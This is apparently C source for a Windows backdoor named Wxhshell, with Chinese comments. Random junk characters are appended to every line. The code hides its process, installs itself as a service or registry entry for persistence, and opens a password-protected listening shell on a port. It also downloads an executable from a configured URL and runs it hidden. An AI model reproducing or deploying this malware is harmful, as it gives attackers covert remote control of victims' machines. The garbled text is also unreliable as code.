DWORD BasePriority; juB /?'$~
ULONG UniqueProcessId; tN0?
ULONG InheritedFromUniqueProcessId; E=]$nE]b
} PROCESS_BASIC_INFORMATION; Dop,_94G
5`)[FCQ
PROCNTQSIP NtQueryInformationProcess; <q:2' 4o
8TCbEPS@Q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZM_-g4[H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7T?T0x3>
MCTTm^8O
HANDLE hProcess; ?OC&=}
PROCESS_BASIC_INFORMATION pbi; d RHw]!.
mw*KLMo42
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?i$MinK
if(NULL == hInst ) return 0; @=qWwt4~
K~A@>~vFb
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %<\tN^rP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Id{Ix(O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~;@\9oPpz%
yAQ)/u[|
if (!NtQueryInformationProcess) return 0; QeQxz1
z'}z4^35,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @+hO,WXN
if(!hProcess) return 0; b&!x.+d-z
9>ML;$T&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P.3kcZ
TRFza}4:i
CloseHandle(hProcess); KSO%89R'
u_.Ig|Va
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S7B?[SPrN[
if(hProcess==NULL) return 0; v*^'|QyM7
a 1~@m[
HMODULE hMod; b$Q#Fv&P
char procName[255]; __i))2
unsigned long cbNeeded; oT- Y
J :l%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8*EqG5OP
K<p)-q
CloseHandle(hProcess); 9^@#Ua
u(~( +1W
if(strstr(procName,"services")) return 1; // 以服务启动 !BR@"%hx
?|{tWR,Vb
return 0; // 注册表启动 T1uOp5_]B
} LT:8/&\
Fr hI[D
// 主模块 86W.z6
int StartWxhshell(LPSTR lpCmdLine) A>rN.XW
{ @+Anp4%;Y
SOCKET wsl; @!B%ynrG
BOOL val=TRUE; h%] D[g
int port=0; BrsBB"<o,
struct sockaddr_in door; oT9qd@uQ0:
m'U>=<!D
if(wscfg.ws_autoins) Install(); )|
F O>
A[H"(E#k
port=atoi(lpCmdLine); &,'CHBM
y|(?>\jBl
if(port<=0) port=wscfg.ws_port; z`!f'I--!
0>yuB gh
WSADATA data; w%~Mg3|
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -NUA
wcL|{rUXba
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n8o(>?Kw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e84O
6K6o
door.sin_family = AF_INET; B1o*phM
g
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W"H(HA
door.sin_port = htons(port); Iy@6cd,)S
)@6iQ
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w5q'M
closesocket(wsl); FLQ>,=O
return 1; 4^k+wQU
} a>egH
og
moE!~IroG
if(listen(wsl,2) == INVALID_SOCKET) { gCaxZ~o
closesocket(wsl); ~y1k2n
return 1; ?:#$btmn?
} ZQ[ s/
Wxhshell(wsl); /H*n(d
WSACleanup(); '19kP.
jUB`=d|
return 0; .:iO$wjp5
Q6d>tqW hq
} ?,
cI!c`
p;)@R$*
// 以NT服务方式启动 VTn6@z_ x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vO8CT-)
{ xvW# ~T]
DWORD status = 0; @O
HsM?nW
DWORD specificError = 0xfffffff; S~V?Qe@&Z
Y"E*#1/
serviceStatus.dwServiceType = SERVICE_WIN32; ,ZvlKN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _nec6=S6(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Qo+Y
serviceStatus.dwWin32ExitCode = 0; wcW}Sv[r
serviceStatus.dwServiceSpecificExitCode = 0; 9Qn*frdY,
serviceStatus.dwCheckPoint = 0; vn ^*
serviceStatus.dwWaitHint = 0; qwYq9A$+
=6[R,{|C
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]GXE2A_i;
if (hServiceStatusHandle==0) return; PGA
`R
+g%Ah
status = GetLastError(); F`57;)F
if (status!=NO_ERROR) I GB)
{ ]%[. > mR
serviceStatus.dwCurrentState = SERVICE_STOPPED; JjQ9AJ?-V
serviceStatus.dwCheckPoint = 0; (w?W=guHu
serviceStatus.dwWaitHint = 0; /\5u-o)
serviceStatus.dwWin32ExitCode = status; 92Rm{n
serviceStatus.dwServiceSpecificExitCode = specificError; [[KIuW~ot
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |L~RC
return; =8EGB\P
} .p-T >
[W=6NAd
serviceStatus.dwCurrentState = SERVICE_RUNNING; cTLW}4m%g
serviceStatus.dwCheckPoint = 0; La\|Bwx
serviceStatus.dwWaitHint = 0; DpQ:U 5j
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [wcp2g3Px
} ;D}E/'=
lA,*]Mr~
// 处理NT服务事件,比如:启动、停止 RNb" O{3
VOID WINAPI NTServiceHandler(DWORD fdwControl) PRN%4G
{ e# KP3Lp
switch(fdwControl) :jGgX>GG
{ TTz_w-68
case SERVICE_CONTROL_STOP: [+b&)jN*2
serviceStatus.dwWin32ExitCode = 0; %^bN^Sq
-
serviceStatus.dwCurrentState = SERVICE_STOPPED; $%"~.L4
serviceStatus.dwCheckPoint = 0; JvM:x y9
serviceStatus.dwWaitHint = 0; E 7"`D\*
{ "^5 %g%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :tX,`G
} {\ J%i|u
return; JmbWEX|
case SERVICE_CONTROL_PAUSE: =7-@&S=?s
serviceStatus.dwCurrentState = SERVICE_PAUSED; hvF>Tu]^r
break; dA$qzQ
case SERVICE_CONTROL_CONTINUE: K"VRHIhfg
serviceStatus.dwCurrentState = SERVICE_RUNNING; "K#zY~>L
break; =VF%Z[Gm
case SERVICE_CONTROL_INTERROGATE: -qJO6OM
break; Il$Jj-)
}; {@>6E8)H5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nH|7XY9"
} %Q|Hvjk=E
a<&GsDw
// 标准应用程序主函数 "SU
O2-Gj
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W_h!Puj_
{ VHx:3G
L*1yK*
// 获取操作系统版本 </|m^$v
OsIsNt=GetOsVer(); L+NrU+:=C
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]gDX~]f[
O8 5) ^
// 从命令行安装 Y$ '6p."=
if(strpbrk(lpCmdLine,"iI")) Install(); o7v,:e:
B-[qS;PY%
// 下载执行文件 P30|TU+B
if(wscfg.ws_downexe) { Vnnl~|Xx
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O
718s\#
WinExec(wscfg.ws_filenam,SW_HIDE); w>6cc#>q
} q 1+{MPJ
e%JH q
if(!OsIsNt) { [,ZHn$\
// 如果时win9x,隐藏进程并且设置为注册表启动 5VGr<i&A
HideProc(); `_>44!M
StartWxhshell(lpCmdLine); ^"EK:|Y4%K
} yn.f?[G2
else <{1=4PA
if(StartFromService()) Pe?b#
G
// 以服务方式启动 1ika'
StartServiceCtrlDispatcher(DispatchTable); 0-Vx!(
else !Bn,f2
// 普通方式启动 YCo qe,5
StartWxhshell(lpCmdLine); }Z8DVTpX}
GA2kg7
return 0; YY
8vhnw
} _#TbOfu
hbE~.[Y2r
&v<Am%!N
.X{U\{c| a
=========================================== /%i: (Ny
`8G {-_
z-?WU
~a`
vk@8
JId|LHf*P
?7R&=B1g
" =x}p>#o,J
Gw?$.@L'I6
#include <stdio.h> ZA'Qw2fF0
#include <string.h> ) (l=_[1Z5
#include <windows.h> ~?uch8H
#include <winsock2.h> qt4^e7o
#include <winsvc.h> 0M|Jvw'n|
#include <urlmon.h> )P
#MUC
eWTbHF
#pragma comment (lib, "Ws2_32.lib") vJ0Zv>
n-
#pragma comment (lib, "urlmon.lib") fkJE lO-F
TtP2>eh-
#define MAX_USER 100 // 最大客户端连接数 5FwVR3,
#define BUF_SOCK 200 // sock buffer FP9FE `x
#define KEY_BUFF 255 // 输入 buffer btWvoKO*
dmk_xBy s|
#define REBOOT 0 // 重启
A!^gF~ 5
#define SHUTDOWN 1 // 关机 >PONu]^
esK0H<]
#define DEF_PORT 5000 // 监听端口 Ygfv?
+~eybm;
#define REG_LEN 16 // 注册表键长度 n
?+dX^j
#define SVC_LEN 80 // NT服务名长度 f%Vdao[
;B6m;[M+
// 从dll定义API V25u_R`{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p
_q]Rt
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [?nM)4d
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s[#ww
=T\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C!6d`|
hO0g3^
// wxhshell配置信息 G~KYFNHr
struct WSCFG { tW}At
int ws_port; // 监听端口 nv_9Llh=z
char ws_passstr[REG_LEN]; // 口令 OzS/J;[PO[
int ws_autoins; // 安装标记, 1=yes 0=no Rg~F[j$N
char ws_regname[REG_LEN]; // 注册表键名 m!_*Q
char ws_svcname[REG_LEN]; // 服务名 A7=k9|
char ws_svcdisp[SVC_LEN]; // 服务显示名 <K
GYwLk
char ws_svcdesc[SVC_LEN]; // 服务描述信息 d{:0R9
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a F%V
int ws_downexe; // 下载执行标记, 1=yes 0=no f'%Pkk
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iBaz1pDc
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &20}64eW%
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}; &M*f4PeXb
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// default Wxhshell configuration m$}Jw<